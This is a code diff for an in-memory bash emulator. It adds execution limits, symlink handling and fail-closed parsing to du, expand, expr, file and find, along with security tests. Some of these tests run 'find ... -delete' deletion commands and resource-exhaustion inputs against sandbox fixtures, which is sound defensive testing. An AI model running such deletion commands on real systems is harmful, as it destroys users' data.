-          displayPath === "." ? file.name : `${displayPath}/${file.name}`;
-        result.output +=
-          formatSize(size, options.humanReadable) +
-          "\t" +
-          entryDisplayPath +
-          "\n";
+      const size = directorySizes.get(entry.path) ?? 0;
+      if (entry.depth > depth) {
+        directorySizes.set(parent, (directorySizes.get(parent) ?? 0) + size);
+      } else {
+        result.totalSize = size;
       }
-    }
-
-    // Process directories in parallel batches
-    const dirInfos = entryInfos.filter((e) => e.isDirectory);
-    for (let i = 0; i < dirInfos.length; i += DEFAULT_BATCH_SIZE) {
-      const batch = dirInfos.slice(i, i + DEFAULT_BATCH_SIZE);
-      const subResults = await Promise.all(
-        batch.map(async (dir) => {
-          const entryPath =
-            fullPath === "/" ? `/${dir.name}` : `${fullPath}/${dir.name}`;
-          const entryDisplayPath =
-            displayPath === "." ? dir.name : `${displayPath}/${dir.name}`;
-          return {
-            name: dir.name,
-            result: await calculateSize(
-              ctx,
-              entryPath,
-              entryDisplayPath,
-              options,
-              depth + 1,
-            ),
-          };
-        }),
-      );
-
-      // Sort results for consistent order
-      subResults.sort((a, b) => a.name.localeCompare(b.name));
-
-      for (const { result: subResult } of subResults) {
-        dirSize += subResult.totalSize;
-        // Only output subdirectories if not summarizing and within depth limit
-        if (!options.summarize) {
-          if (options.maxDepth === null || depth + 1 <= options.maxDepth) {
-            result.output += subResult.output;
-          }
-        }
+      const relativeDepth = entry.depth - depth;
+      if (
+        (options.summarize && relativeDepth === 0) ||
+        (!options.summarize &&
+          (options.maxDepth === null || relativeDepth <= options.maxDepth))
+      ) {
+        result.output += `${formatSize(size, options.humanReadable)}\t${shown}\n`;
       }
-    }
-
-    result.totalSize = dirSize;
-
-    // Output this directory if within depth limit
-    if (
-      options.summarize ||
-      options.maxDepth === null ||
-      depth <= options.maxDepth
-    ) {
-      result.output += `${formatSize(dirSize, options.humanReadable)}\t${displayPath}\n`;
-    }
-  } catch (_error) {
-    result.stderr = `du: cannot read directory '${displayPath}': Permission denied\n`;
-  }
+    },
+  );
 
   return result;
 }
diff --git a/packages/just-bash/src/commands/echo/echo.ts b/packages/just-bash/src/commands/echo/echo.ts
index 18f909ce..6f27a8b6 100644
--- a/packages/just-bash/src/commands/echo/echo.ts
+++ b/packages/just-bash/src/commands/echo/echo.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 /**
  * Process echo -e escape sequences
@@ -161,10 +165,13 @@ function processEscapes(input: string): { output: string; stop: boolean } {
   return { output: result, stop: false };
 }
 
-export const echoCommand: Command = {
+export const echoCommand: RuntimeCommand = {
   name: "echo",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     let noNewline = false;
     // When xpg_echo is enabled, interpret escapes by default (like echo -e)
     let interpretEscapes = ctx.xpgEcho ?? false;
diff --git a/packages/just-bash/src/commands/env/env.ts b/packages/just-bash/src/commands/env/env.ts
index 1bbf2400..8c0c7953 100644
--- a/packages/just-bash/src/commands/env/env.ts
+++ b/packages/just-bash/src/commands/env/env.ts
@@ -1,6 +1,10 @@
 import { latin1FromBytes } from "../../encoding.js";
 import { mapToRecord } from "../../helpers/env.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const envHelp = {
@@ -14,10 +18,13 @@ const envHelp = {
   ],
 };
 
-export const envCommand: Command = {
+export const envCommand: RuntimeCommand = {
   name: "env",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(envHelp);
     }
@@ -127,10 +134,13 @@ const printenvHelp = {
   options: ["    --help       display this help and exit"],
 };
 
-export const printenvCommand: Command = {
+export const printenvCommand: RuntimeCommand = {
   name: "printenv",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(printenvHelp);
     }
diff --git a/packages/just-bash/src/commands/expand/expand.test.ts b/packages/just-bash/src/commands/expand/expand.test.ts
index 15ab0b5c..24aaa70c 100644
--- a/packages/just-bash/src/commands/expand/expand.test.ts
+++ b/packages/just-bash/src/commands/expand/expand.test.ts
@@ -1,5 +1,6 @@
 import { describe, expect, it } from "vitest";
 import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 
 describe("expand", () => {
   it("converts tabs to 8 spaces by default", async () => {
@@ -142,6 +143,57 @@ describe("expand", () => {
     expect(result.stderr).toContain("invalid tab size");
   });
 
+  it("rejects a tab stop above the allocation limit", async () => {
+    const bash = new Bash({
+      executionLimits: { maxStringLength: 32, maxOutputSize: 64 },
+    });
+    const result = await bash.exec("printf '\\t' | expand -t 33");
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("expand: invalid tab size: '33'\n");
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("rejects non-finite tab stops before repeat", async () => {
+    const bash = new Bash();
+    const huge = "9".repeat(400);
+    const result = await bash.exec(`printf '\\t' | expand -t ${huge}`);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(`expand: invalid tab size: '${huge}'\n`);
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("rejects trailing tab-stop garbage before repeat", async () => {
+    const bash = new Bash();
+    const result = await bash.exec("expand -t 8x");
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("expand: invalid tab size: '8x'\n");
+    expect(result.exitCode).toBe(1);
+  });
+
+  it("checks tab expansion before repeat allocation", async () => {
+    const bash = new Bash({
+      files: { "/input": "\t" },
+      executionLimits: { maxStringLength: 100, maxOutputSize: 7 },
+    });
+    const result = await bash.exec("expand /input");
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "bash: expand: output size limit exceeded (7 bytes)\n",
+    );
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+  });
+
+  it("allows output at the exact UTF-8 byte boundary", async () => {
+    const bash = new Bash({
+      files: { "/input": "éé" },
+      executionLimits: { maxStringLength: 100, maxOutputSize: 4 },
+    });
+    const result = await bash.exec("expand /input");
+    expect(result.stdout).toBe("éé");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
   it("handles tab alignment correctly", async () => {
     const bash = new Bash();
     // 'ab' is 2 chars, tab should expand to 6 spaces to reach column 8
diff --git a/packages/just-bash/src/commands/expand/expand.ts b/packages/just-bash/src/commands/expand/expand.ts
index d295dc50..6675635f 100644
--- a/packages/just-bash/src/commands/expand/expand.ts
+++ b/packages/just-bash/src/commands/expand/expand.ts
@@ -8,8 +8,14 @@
  */
 
 import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
+import { utf8ByteLength } from "../printf/escapes.js";
 
 const expandHelp = {
   name: "expand",
@@ -39,13 +45,18 @@ interface ExpandOptions {
  * - A single number: "4" -> use that as uniform tab width
  * - A comma-separated list: "4,8,12" -> explicit tab stop positions
  */
-function parseTabStops(spec: string): number[] | null {
+function parseTabStops(
+  spec: string,
+  maxTabStop: number,
+  maxStops: number,
+): number[] | null {
   const parts = spec.split(",").map((s) => s.trim());
+  if (parts.length > maxStops) return null;
   const stops: number[] = [];
 
   for (const part of parts) {
-    const num = parseInt(part, 10);
-    if (Number.isNaN(num) || num < 1) {
+    const num = /^\d+$/.test(part) ? Number(part) : NaN;
+    if (!Number.isSafeInteger(num) || num < 1 || num > maxTabStop) {
       return null;
     }
     stops.push(num);
@@ -93,27 +104,54 @@ function getTabWidth(column: number, tabStops: number[]): number {
   return 1;
 }
 
-function expandLine(line: string, options: ExpandOptions): string {
+function expandLine(
+  line: string,
+  options: ExpandOptions,
+  maxOutputBytes: number,
+): string {
   const { tabStops, leadingOnly } = options;
   let result = "";
   let column = 0;
   let inLeadingWhitespace = true;
+  let outputBytes = 0;
 
   for (const char of line) {
     if (char === "\t") {
       if (leadingOnly && !inLeadingWhitespace) {
+        if (outputBytes + 1 > maxOutputBytes) {
+          throw new ExecutionLimitError(
+            `expand: output size limit exceeded (${maxOutputBytes} bytes)`,
+            "output_size",
+          );
+        }
         result += char;
+        outputBytes++;
         column++; // Treat unexpanded tab as 1 column
       } else {
         const spaces = getTabWidth(column, tabStops);
+        if (spaces > maxOutputBytes - outputBytes) {
+          throw new ExecutionLimitError(
+            `expand: output size limit exceeded (${maxOutputBytes} bytes)`,
+            "output_size",
+          );
+        }
         result += " ".repeat(spaces);
+        outputBytes += spaces;
         column += spaces;
       }
     } else {
       if (char !== " " && char !== "\t") {
         inLeadingWhitespace = false;
       }
+      const charBytes = utf8ByteLength(char);
+      if (charBytes > maxOutputBytes - outputBytes) {
+        throw new ExecutionLimitError(
+          `expand: output size limit exceeded (${maxOutputBytes} bytes)`,
+          "output_size",
+        );
+      }
       result += char;
+      outputBytes += charBytes;
       column++;
     }
   }
@@ -121,7 +159,11 @@ function expandLine(line: string, options: ExpandOptions): string {
   return result;
 }
 
-function processContent(content: string, options: ExpandOptions): string {
+function processContent(
+  content: string,
+  options: ExpandOptions,
+  maxOutputBytes: number,
+): string {
   if (content === "") {
     return "";
   }
@@ -133,13 +175,33 @@ function processContent(content: string, options: ExpandOptions): string {
     lines.pop();
   }
 
-  const expandedLines = lines.map((line) => expandLine(line, options));
+  const expandedLines: string[] = [];
+  let outputBytes = 0;
+  for (const line of lines) {
+    const newlineBytes = expandedLines.length > 0 ? 1 : 0;
+    const expanded = expandLine(
+      line,
+      options,
+      maxOutputBytes - outputBytes - newlineBytes,
+    );
+    outputBytes += newlineBytes + utf8ByteLength(expanded);
+    expandedLines.push(expanded);
+  }
+  if (hasTrailingNewline && outputBytes + 1 > maxOutputBytes) {
+    throw new ExecutionLimitError(
+      `expand: output size limit exceeded (${maxOutputBytes} bytes)`,
+      "output_size",
+    );
+  }
   return expandedLines.join("\n") + (hasTrailingNewline ? "\n" : "");
 }
 
-export const expand: Command = {
+export const expand: RuntimeCommand = {
   name: "expand",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(expandHelp);
     }
@@ -150,13 +212,18 @@ export const expand: Command = {
     };
 
     const files: string[] = [];
+    const maxTabStop = Math.min(
+      ctx.limits.maxStringLength,
+      ctx.limits.maxOutputSize,
+    );
+    const maxStops = ctx.limits.maxArrayElements;
     let i = 0;
 
     while (i < args.length) {
       const arg = args[i];
 
       if (arg === "-t" && i + 1 < args.length) {
-        const stops = parseTabStops(args[i + 1]);
+        const stops = parseTabStops(args[i + 1], maxTabStop, maxStops);
         if (!stops) {
           return {
             exitCode: 1,
@@ -167,7 +234,7 @@ export const expand: Command = {
         options.tabStops = stops;
         i += 2;
       } else if (arg.startsWith("-t") && arg.length > 2) {
-        const stops = parseTabStops(arg.slice(2));
+        const stops = parseTabStops(arg.slice(2), maxTabStop, maxStops);
         if (!stops) {
           return {
             exitCode: 1,
@@ -178,7 +245,7 @@ export const expand: Command = {
         options.tabStops = stops;
         i++;
       } else if (arg === "--tabs" && i + 1 < args.length) {
-        const stops = parseTabStops(args[i + 1]);
+        const stops = parseTabStops(args[i + 1], maxTabStop, maxStops);
         if (!stops) {
           return {
             exitCode: 1,
@@ -189,7 +256,7 @@ export const expand: Command = {
         options.tabStops = stops;
         i += 2;
       } else if (arg.startsWith("--tabs=")) {
-        const stops = parseTabStops(arg.slice(7));
+        const stops = parseTabStops(arg.slice(7), maxTabStop, maxStops);
         if (!stops) {
           return {
             exitCode: 1,
@@ -219,7 +286,7 @@ export const expand: Command = {
       // expand counts column positions for tab-stop math; decode bytes so a
       // multibyte char counts as one column rather than 2–4.
       const input = decodeBytesToUtf8(ctx.stdin) ?? "";
-      output = processContent(input, options);
+      output = processContent(input, options, maxTabStop);
     } else {
       for (const file of files) {
         const filePath = ctx.fs.resolvePath(ctx.cwd, file);
@@ -231,7 +298,11 @@ export const expand: Command = {
             stderr: `expand: ${file}: No such file or directory\n`,
           };
         }
-        output += processContent(content, options);
+        output += processContent(
+          content,
+          options,
+          maxTabStop - utf8ByteLength(output),
+        );
       }
     }
 
diff --git a/packages/just-bash/src/commands/expand/unexpand.ts b/packages/just-bash/src/commands/expand/unexpand.ts
index b60b37d1..9135bc2d 100644
--- a/packages/just-bash/src/commands/expand/unexpand.ts
+++ b/packages/just-bash/src/commands/expand/unexpand.ts
@@ -8,7 +8,11 @@
  */
 
 import { decodeBytesToUtf8 } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const unexpandHelp = {
@@ -179,9 +183,12 @@ function processContent(content: string, options: UnexpandOptions): string {
   return unexpandedLines.join("\n") + (hasTrailingNewline ? "\n" : "");
 }
 
-export const unexpand: Command = {
+export const unexpand: RuntimeCommand = {
   name: "unexpand",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(unexpandHelp);
     }
diff --git a/packages/just-bash/src/commands/expr/expr.security.test.ts b/packages/just-bash/src/commands/expr/expr.security.test.ts
new file mode 100644
index 00000000..f38ec206
--- /dev/null
+++ b/packages/just-bash/src/commands/expr/expr.security.test.ts
@@ -0,0 +1,34 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
+describe("expr fail-closed parsing", () => {
+  it.each([
+    "1 trailing",
+    "1 )",
+    "1 + 2 trailing",
+    "1 '|' '('",
+  ])("rejects unconsumed or malformed input: %s", async (expression) => {
+    const result = await new Bash().exec(`expr ${expression}`);
+    expect(result.exitCode).toBe(2);
+    expect(result.stderr).toContain("syntax error");
+  });
+
+  it("still parses the right side of a truthy OR for syntax", async () => {
+    const result = await new Bash().exec("expr 1 '|' 2 +");
+    expect(result.exitCode).toBe(2);
+    expect(result.stderr).toContain("syntax error");
+  });
+
+  it("uses bounded linear work for index membership", async () => {
+    const compatible = await new Bash().exec("expr index abcdef dx");
+    expect(compatible).toMatchObject({ stdout: "4\n", exitCode: 0 });
+
+    const result = await new Bash({
+      executionLimits: { maxWorkUnits: 20 },
+    }).exec(`expr index '${"a".repeat(20)}' '${"z".repeat(20)}'`);
+
+    expect(result.exitCode).toBe(ExecutionLimitError.EXIT_CODE);
+    expect(result.stderr).toContain("expr index");
+  });
+});
diff --git a/packages/just-bash/src/commands/expr/expr.ts b/packages/just-bash/src/commands/expr/expr.ts
index d867675f..a4af24f4 100644
--- a/packages/just-bash/src/commands/expr/expr.ts
+++ b/packages/just-bash/src/commands/expr/expr.ts
@@ -1,16 +1,24 @@
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
 import { sanitizeErrorMessage } from "../../fs/sanitize-error.js";
 import { createUserRegex } from "../../regex/index.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 /**
  * expr - evaluate expressions
  *
  * Basic implementation supporting arithmetic operations and string operations.
  */
-export const exprCommand: Command = {
+export const exprCommand: RuntimeCommand = {
   name: "expr",
 
-  async execute(args: string[], _ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (args.length === 0) {
       return {
         stdout: "",
@@ -20,7 +28,9 @@ export const exprCommand: Command = {
     }
 
     try {
-      const result = evaluateExpr(args);
+      const result = evaluateExpr(args, (units) =>
+        ctx.executionScope?.consumeWork(units, "expr index"),
+      );
       // expr returns 1 if result is 0 or empty, 0 otherwise
       const exitCode = result === "0" || result === "" ? 1 : 0;
       return {
@@ -29,6 +39,7 @@ export const exprCommand: Command = {
         exitCode,
       };
     } catch (error) {
+      rethrowFatalExecutionError(error);
       const message = sanitizeErrorMessage((error as Error).message);
       return {
         stdout: "",
@@ -39,7 +50,10 @@ export const exprCommand: Command = {
   },
 };
 
-function evaluateExpr(args: string[]): string {
+function evaluateExpr(
+  args: string[],
+  consumeWork: (units: number) => void,
+): string {
   // Simple single operand case
   if (args.length === 1) {
     return args[0];
@@ -217,9 +231,13 @@ function evaluateExpr(args: string[]): string {
       i++;
       const str = parsePrimary();
       const chars = parsePrimary();
-      // Find first char from chars in str
+      // Build membership once. Calling chars.includes() for every input code
+      // unit is quadratic when both operands are attacker controlled.
+      consumeWork(chars.length + str.length);
+      const characterSet = new Set<string>();
+      for (let j = 0; j < chars.length; j++) characterSet.add(chars[j]);
       for (let j = 0; j < str.length; j++) {
-        if (chars.includes(str[j])) {
+        if (characterSet.has(str[j])) {
           return String(j + 1); // 1-based
         }
       }
@@ -246,7 +264,11 @@ function evaluateExpr(args: string[]): string {
     return token;
   }
 
-  return parseOr();
+  const result = parseOr();
+  if (i !== args.length) {
+    throw new Error("syntax error");
+  }
+  return result;
 }
 
 import type { CommandFuzzInfo } from "../fuzz-flags-types.js";
diff --git a/packages/just-bash/src/commands/file/file.symlink.test.ts b/packages/just-bash/src/commands/file/file.symlink.test.ts
new file mode 100644
index 00000000..8fac63d3
--- /dev/null
+++ b/packages/just-bash/src/commands/file/file.symlink.test.ts
@@ -0,0 +1,36 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("file symlink handling", () => {
+  it("reports the link by default and follows only with -L", async () => {
+    const bash = new Bash({ files: { "/target": "plain text\n" } });
+    await bash.fs.symlink("/target", "/link");
+
+    const link = await bash.exec("file /link");
+    expect(link.stdout).toBe("/link: symbolic link to /target\n");
+    expect(link.stderr).toBe("");
+    expect(link.exitCode).toBe(0);
+
+    const target = await bash.exec("file -L /link");
+    expect(target.stdout).toBe("/link: ASCII text\n");
+    expect(target.stderr).toBe("");
+    expect(target.exitCode).toBe(0);
+  });
+
+  it("reports dangling links without dereferencing them", async () => {
+    const bash = new Bash();
+    await bash.fs.symlink("/missing", "/dangling");
+
+    const link = await bash.exec("file -i /dangling");
+    expect(link.stdout).toBe("/dangling: inode/symlink\n");
+    expect(link.stderr).toBe("");
+    expect(link.exitCode).toBe(0);
+
+    const followed = await bash.exec("file -L /dangling");
+    expect(followed.stdout).toBe(
+      "/dangling: cannot open (No such file or directory)\n",
+    );
+    expect(followed.stderr).toBe("");
+    expect(followed.exitCode).toBe(1);
+  });
+});
diff --git a/packages/just-bash/src/commands/file/file.ts b/packages/just-bash/src/commands/file/file.ts
index 7ceabbaa..cc80b600 100644
--- a/packages/just-bash/src/commands/file/file.ts
+++ b/packages/just-bash/src/commands/file/file.ts
@@ -5,7 +5,13 @@
  */
 
 import { fileTypeFromBuffer } from "file-type";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const fileHelp = {
@@ -379,31 +385,33 @@ async function detectFileType(
   return detectTextType(content, filename);
 }
 
-export const fileCommand: Command = {
+export const fileCommand: RuntimeCommand = {
   name: "file",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) return showHelp(fileHelp);
 
     let brief = false;
     let mimeMode = false;
+    let dereference = false;
     const files: string[] = [];
 
     for (const arg of args) {
       if (arg.startsWith("--")) {
         if (arg === "--brief") brief = true;
         else if (arg === "--mime" || arg === "--mime-type") mimeMode = true;
-        else if (arg === "--dereference") {
-          /* no-op */
-        } else return unknownOption("file", arg);
+        else if (arg === "--dereference") dereference = true;
+        else return unknownOption("file", arg);
       } else if (arg.startsWith("-") && arg !== "-") {
         // Handle combined short flags like -bi
         for (const c of arg.slice(1)) {
           if (c === "b") brief = true;
           else if (c === "i") mimeMode = true;
-          else if (c === "L") {
-            /* no-op */
-          } else return unknownOption("file", `-${c}`);
+          else if (c === "L") dereference = true;
+          else return unknownOption("file", `-${c}`);
         }
       } else {
         files.push(arg);
@@ -418,33 +426,57 @@ export const fileCommand: Command = {
       };
     }
 
-    let output = "";
+    const output = new BoundedStringBuilder(
+      Math.min(ctx.limits.maxOutputSize, ctx.limits.maxStringLength),
+      "file",
+    );
     let exitCode = 0;
 
     for (const file of files) {
+      ctx.executionScope?.consumeLimited(
+        "file-operands",
+        1,
+        ctx.limits.maxArrayElements,
+        "file",
+      );
       try {
         const path = ctx.fs.resolvePath(ctx.cwd, file);
-        const stats = await ctx.fs.stat(path);
+        const stats = dereference
+          ? await ctx.fs.stat(path)
+          : await ctx.fs.lstat(path);
+
+        if (stats.isSymbolicLink) {
+          const target = await ctx.fs.readlink(path);
+          const result = mimeMode
+            ? "inode/symlink"
+            : `symbolic link to ${target}`;
+          output.append(brief ? `${result}\n` : `${file}: ${result}\n`);
+          continue;
+        }
 
         if (stats.isDirectory) {
           const result = mimeMode ? "inode/directory" : "directory";
-          output += brief ? `${result}\n` : `${file}: ${result}\n`;
+          output.append(brief ? `${result}\n` : `${file}: ${result}\n`);
           continue;
         }
 
         const buffer = await ctx.fs.readFileBuffer(path);
+        ctx.executionScope?.consumeInput(buffer.byteLength, "file");
         const fileType = await detectFileType(file, buffer);
         const result = mimeMode ? fileType.mime : fileType.description;
-        output += brief ? `${result}\n` : `${file}: ${result}\n`;
-      } catch {
-        output += brief
-          ? "cannot open\n"
-          : `${file}: cannot open (No such file or directory)\n`;
+        output.append(brief ? `${result}\n` : `${file}: ${result}\n`);
+      } catch (error) {
+        rethrowFatalExecutionError(error);
+        output.append(
+          brief
+            ? "cannot open\n"
+            : `${file}: cannot open (No such file or directory)\n`,
+        );
         exitCode = 1;
       }
     }
 
-    return { stdout: output, stderr: "", exitCode };
+    return { stdout: output.build(), stderr: "", exitCode };
   },
 };
 
diff --git a/packages/just-bash/src/commands/filesystem-traversal.security.test.ts b/packages/just-bash/src/commands/filesystem-traversal.security.test.ts
new file mode 100644
index 00000000..9ce399d1
--- /dev/null
+++ b/packages/just-bash/src/commands/filesystem-traversal.security.test.ts
@@ -0,0 +1,47 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../index.js";
+
+describe("command filesystem traversal budgets", () => {
+  it("preflights recursive cp before creating a partial destination", async () => {
+    const bash = new Bash({
+      files: { "/source/a": "a", "/source/b": "b" },
+      executionLimits: { maxTraversalEntries: 2 },
+    });
+
+    const result = await bash.exec("cp -r /source /copy");
+
+    expect(result.exitCode).toBe(126);
+    expect(await bash.fs.exists("/copy")).toBe(false);
+  });
+
+  it("preflights recursive mv before removing the source", async () => {
+    const bash = new Bash({
+      files: { "/source/a": "a", "/source/b": "b" },
+      executionLimits: { maxTraversalEntries: 2 },
+    });
+
+    const result = await bash.exec("mv /source /moved");
+
+    expect(result.exitCode).toBe(126);
+    expect(await bash.fs.exists("/source/a")).toBe(true);
+    expect(await bash.fs.exists("/moved")).toBe(false);
+  });
+
+  it("bounds find and ls glob traversal independently of loop limits", async () => {
+    const bash = new Bash({
+      files: { "/root/a": "a", "/root/b": "b", "/root/c": "c" },
+      executionLimits: { maxTraversalEntries: 2 },
+    });
+
+    await expect(bash.exec("find /root")).resolves.toMatchObject({
+      exitCode: 126,
+    });
+    const second = new Bash({
+      files: { "/root/a": "a", "/root/b": "b", "/root/c": "c" },
+      executionLimits: { maxTraversalEntries: 2 },
+    });
+    await expect(second.exec("cd /root && ls '*'")).resolves.toMatchObject({
+      exitCode: 126,
+    });
+  });
+});
diff --git a/packages/just-bash/src/commands/find/find.fail-closed.test.ts b/packages/just-bash/src/commands/find/find.fail-closed.test.ts
new file mode 100644
index 00000000..2e3e9ba9
--- /dev/null
+++ b/packages/just-bash/src/commands/find/find.fail-closed.test.ts
@@ -0,0 +1,179 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+function destructiveFixture(): Bash {
+  return new Bash({
+    files: {
+      "/dir/keep": "keep",
+      "/dir/remove": "remove",
+    },
+  });
+}
+
+describe("find fail-closed parsing", () => {
+  const invalidCases = [
+    {
+      command: "find /dir -size invalid -delete",
+      stderr: "find: invalid argument `invalid' to `-size'\n",
+    },
+    {
+      command: "find /dir -size 9007199254740991G -delete",
+      stderr: "find: invalid argument `9007199254740991G' to `-size'\n",
+    },
+    {
+      command: "find /dir -mtime 1x -delete",
+      stderr: "find: invalid argument `1x' to `-mtime'\n",
+    },
+    {
+      command: "find /dir -perm 755x -delete",
+      stderr: "find: invalid argument `755x' to `-perm'\n",
+    },
+    {
+      command: "find /dir -maxdepth nope -delete",
+      stderr: "find: invalid argument `nope' to `-maxdepth'\n",
+    },
+    {
+      command: "find /dir -name",
+      stderr: "find: missing argument to `-name'\n",
+    },
+    {
+      command: "find /dir -name keep -o",
+      stderr: "find: expected an expression after `-o'\n",
+    },
+    {
+      command: "find /dir -name keep -a",
+      stderr: "find: expected an expression after `-a'\n",
+    },
+    {
+      command: "find /dir !",
+      stderr: "find: expected an expression after `!'\n",
+    },
+    {
+      command: "find /dir \\( -name keep",
+      stderr: "find: missing closing `)'\n",
+    },
+    {
+      command: "find /dir -name keep \\)",
+      stderr: "find: unexpected `)'\n",
+    },
+    {
+      command: "find /dir -exec \\;",
+      stderr: "find: missing argument to `-exec'\n",
+    },
+    {
+      command: "find /dir -exec echo {}",
+      stderr: "find: missing argument to `-exec'\n",
+    },
+    {
+      command: "find /dir -exec echo +",
+      stderr: "find: invalid argument `+' to `-exec'\n",
+    },
+    {
+      command: "find /dir ! -delete",
+      stderr: "find: refusing to evaluate `-delete' under negation\n",
+    },
+  ];
+
+  for (const { command, stderr } of invalidCases) {
+    it(`rejects ${command} before side effects`, async () => {
+      const env = destructiveFixture();
+      const result = await env.exec(command);
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toBe(stderr);
+      expect(result.exitCode).toBe(1);
+
+      const after = await env.exec("printf '%s|' /dir/*");
+      expect(after.stdout).toBe("/dir/keep|/dir/remove|");
+      expect(after.stderr).toBe("");
+      expect(after.exitCode).toBe(0);
+    });
+  }
+});
+
+describe("find action expression semantics", () => {
+  it("applies print0 and delete only in their reached OR branches", async () => {
+    const env = destructiveFixture();
+    const result = await env.exec(
+      "find /dir -type f \\( -name keep -print0 -o -name remove -delete \\)",
+    );
+
+    expect(result.stdout).toBe("/dir/keep\0");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+    const after = await env.exec("printf '%s|' /dir/*");
+    expect(after.stdout).toBe("/dir/keep|");
+  });
+
+  it("short-circuits delete on the true side of OR", async () => {
+    const env = destructiveFixture();
+    const result = await env.exec(
+      "find /dir -type f -a \\( -name keep -o -delete \\)",
+    );
+
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+    const after = await env.exec("printf '%s|' /dir/*");
+    expect(after.stdout).toBe("/dir/keep|");
+  });
+
+  it("runs exec only in its nested matching branch", async () => {
+    const env = destructiveFixture();
+    const result = await env.exec(
+      "find /dir -type f \\( \\( -name keep -exec echo EXEC {} \\; \\) -o -name remove -print \\)",
+    );
+
+    expect(result.stdout).toBe("EXEC /dir/keep\n/dir/remove\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("preserves action effects reached beneath logical NOT", async () => {
+    const env = new Bash({ files: { "/dir/file": "x" } });
+    const result = await env.exec("find /dir -type f ! -print");
+
+    expect(result.stdout).toBe("/dir/file\n");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+});
+
+describe("find conservative traversal", () => {
+  it("does not prune nested descendants for path expressions", async () => {
+    const env = new Bash({
+      files: {
+        "/repo/pulls/direct.json": "",
+        "/repo/pulls/nested/deep.json": "",
+        "/repo/pulls/nested/deep.txt": "",
+      },
+    });
+
+    const result = await env.exec(
+      "find /repo -type f -path '*/pulls/*.json' -print",
+    );
+    expect(result.stdout).toBe(
+      "/repo/pulls/direct.json\n/repo/pulls/nested/deep.json\n",
+    );
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("does not prune OR, NOT, or case-insensitive path expressions", async () => {
+    const env = new Bash({
+      files: {
+        "/repo/PULLS/nested/UPPER.JSON": "",
+        "/repo/other/nested/value.txt": "",
+      },
+    });
+
+    const result = await env.exec(
+      "find /repo -type f \\( -ipath '*/pulls/*.json' -o ! -path '*/PULLS/*' \\)",
+    );
+    expect(result.stdout).toBe(
+      "/repo/PULLS/nested/UPPER.JSON\n/repo/other/nested/value.txt\n",
+    );
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+});
